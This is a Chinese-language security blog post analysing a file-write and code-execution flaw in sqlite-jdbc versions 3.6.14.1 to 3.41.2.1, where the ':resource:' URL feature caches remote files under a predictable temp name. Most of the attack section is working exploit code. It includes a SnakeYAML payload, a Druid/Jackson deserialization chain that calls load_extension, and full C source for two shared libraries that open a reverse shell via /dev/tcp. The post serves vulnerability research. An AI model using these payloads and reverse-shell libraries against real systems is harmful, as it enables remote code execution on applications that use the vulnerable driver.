sqllitejdbc攻击

0x01 影响版本

3.6.14.1-3.41.2.1

0x02 分析

org.sqlite.jdbc4.JDBC4Connection

image-20250317125634159

构造函数的参数,public,然后调用super方法

org.sqlite.SQLiteConnection#SQLiteConnection(java.lang.String, java.lang.String, java.util.Properties)

image-20250317125739775

super方法会一直调用父类的方法,然后在SQLiteConnection调用open方法。

org.sqlite.SQLiteConnection#open

image-20250317125903898

open 方法则会对filename进行判断

org.sqlite.SQLiteConnection#extractPragmasFromFilename

image-20250317130556918

这个函数会对jdbcurl进行判断。其中filename就是jdbc:sqlite:后面字符,要是包含?就会走else, 然后用&分割,在按照=符号存储keyvaule。

简单就是jdbc:sqlite:DBPATH?enable_load_extension=true,先提取DBPATH?enable_load_extension=true,然后?提取enable_load_extension=true,然后=分割后,put进Properties。

继续看

image-20250317131247039

filename中不满足这几个条件,就会判断是不是:resource:开头,是就是提取:resource:后面的字符,也就是提取协议路径,然后调用classloader读取,读不到就调用new URl 读取。然后传入extractResource。在使用netdoc协议时,由于在这里已经进行了url连接,conntion标识以为true,后续extractResource中连接时,conn.stechaches会报错。

最重要的就是这个

org.sqlite.SQLiteConnection#extractResource

image-20250317132251846

它会判断传入的协议是不是file, 是file就直接retuen,我们要出发漏洞缓存文件,肯定是要走else的

image-20250317132301942

else就是获取tmp目录,然后然后 **String.format(“sqlite-jdbc-tmp-%d.db”, resourceAddr.hashCode());**这个格式缓存。

最后就是URLConnection连接后获取输入流,然后内容copy到缓存文件。

这里使用的resourceAddr.hashCode(), 我们可以直接计算出来,所以这个缓存的文件,我们是可知,也就是我们可以利用jdbc连接或者直接构造函数来写一个文件到tmp目录下。

1
2
3
4
5
public static void main(String[] args) throws MalformedURLException {
String so = "http://vpsip:port/poc.so";
String url = so;
String filename = "/tmp/sqlite-jdbc-tmp-"+new
URL(url).hashCode()+".db";System.out.printf(filename);}

0x03 修复

image-20250317132730082

采取随机,不可控了

0x04 复现

使用yaml来

1
2
3
4
5
6
7
8
9
10
11
12
public static void main(String[] args) throws Exception {
System.setProperty("java.io.tmpdir","/tmp");
Yaml yaml = new Yaml();
String so = "http://127.0.0.1:8889/poc1.dylib";
String s = "jdbc:sqlite::resource:" + so + "";
String filename = ":resource:" + so + "";
String name = "/tmp/sqlite-jdbc-tmp-"+new URL(so).hashCode()+".db";
System.out.println(name);
String poc = "!!org.sqlite.jdbc4.JDBC4Connection [ \""+s+"\", \""+filename+"\", !!java.util.Properties []] ";
System.out.println(poc);
yaml.load(poc);
}

image-20250317140659603

Sqlite.so

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#include <stdlib.h>
#include <stdio.h>
#include <sqlite3ext.h>
#include <sys/stat.h>
#include <unistd.h>
#include <fcntl.h>

SQLITE_EXTENSION_INIT1

#ifdef _WIN32
__declspec(dllexport)
#endif

/**
* Initializes the SQLite extension.
*
* @param db SQLite database pointer
* @param pzErrMsg Error message pointer
* @param pApi SQLite API routines pointer
* @return SQLITE_OK on success
*/
int sqlite3_extension_init(
sqlite3 *db,
char **pzErrMsg,
const sqlite3_api_routines *pApi
) {
int rc = SQLITE_OK;
SQLITE_EXTENSION_INIT2(pApi);

pid_t pid = fork();
if (pid < 0) {
perror("fork error");
exit(1);
} else if (pid > 0) {
// 父进程继续执行
// 可以在此处添加额外的代码逻辑
while (1) {
// 父进程持续执行其他任务
}
}

// 子进程继续执行
umask(0); // 设置文件权限掩码

// 创建新会话,并成为会话组组长
if (setsid() < 0) {
perror("setsid error");
exit(1);
}

// 关闭标准输入、输出、错误输出
close(STDIN_FILENO);
close(STDOUT_FILENO);
close(STDERR_FILENO);

// 打开一个新的文件描述符作为标准输入、输出、错误输出
int fd = open("/dev/null", O_RDWR); // 或者使用其他文件路径
dup2(fd, STDIN_FILENO);
dup2(fd, STDOUT_FILENO);
dup2(fd, STDERR_FILENO);
close(fd);

// 执行需要在后台运行的代码
const char *args[] = {"/bin/sh", "-c", "/bin/sh -i >& /dev/tcp/127.0.0.1/8888 0>&1", NULL};
execve("/bin/sh", (char* const*)args, NULL);

return 0;
return rc;
}

linux.so

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

void __attribute__ ((constructor)) my_init_so()
{
pid_t pid = fork();
if (pid < 0) {
perror("fork error");
exit(1);
} else if (pid > 0) {
// 父进程继续执行
// 可以在此处添加额外的代码逻辑
while (1) {
// 父进程持续执行其他任务
}
}

// 子进程继续执行
umask(0); // 设置文件权限掩码

// 创建新会话,并成为会话组组长
if (setsid() < 0) {
perror("setsid error");
exit(1);
}

// 关闭标准输入、输出、错误输出
close(STDIN_FILENO);
close(STDOUT_FILENO);
close(STDERR_FILENO);

// 打开一个新的文件描述符作为标准输入、输出、错误输出
int fd = open("/dev/null", O_RDWR); // 或者使用其他文件路径
dup2(fd, STDIN_FILENO);
dup2(fd, STDOUT_FILENO);
dup2(fd, STDERR_FILENO);
close(fd);

// 执行需要在后台运行的代码
const char *args[] = {"/bin/sh", "-c", "/bin/sh -i >& /dev/tcp/127.0.0.1/8888 0>&1", NULL};
execve("/bin/sh", (char* const*)args, NULL);

}

要是jdbc连接

jdbc:sqlite:DBPATH?enable_load_extension=true, 开启loadso功能,**SELECT load_extension(‘poc.dylib’)**导入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
String so = "http://127.0.0.1:8889/poc1.dylib";
String url = so;
String filename = "/tmp/sqlite-jdbc-tmp-"+new URL(url).hashCode()+".db";
System.out.printf(filename+"\n");

DruidXADataSource druidDataSource = new DruidXADataSource();
druidDataSource.setUrl("jdbc:sqlite::resource:"+so+""+"?enable_load_extension=true");
druidDataSource.setLogWriter(null);
druidDataSource.setStatLogger(null);
druidDataSource.setValidationQuery("SELECT load_extension('"+filename+"')");
druidDataSource.setInitialSize(1);

utils.setFieldValue(druidDataSource,"transactionHistogram",null);
utils.setFieldValue(druidDataSource,"initedLatch",null);

POJONode jsonNodes = new POJONode(druidDataSource);
HashMap hashMap = utils.maskmapToString(jsonNodes, jsonNodes);
byte[] serialize = utils.serialize(hashMap);
utils.unserialize(serialize);

image-20250318203033044

refence

https://mp.weixin.qq.com/s/JY1C2LqOqbAQvJLIhG8prQ

https://unam4.github.io/2024/08/04/fine%E6%8A%A5%E8%A1%A8%E9%97%AE%E9%A2%98/


sqllitejdbc攻击
https://unam4.github.io/2025/03/17/sqllitejdbc攻击/
作者
unam4
发布于
2025年3月17日
许可协议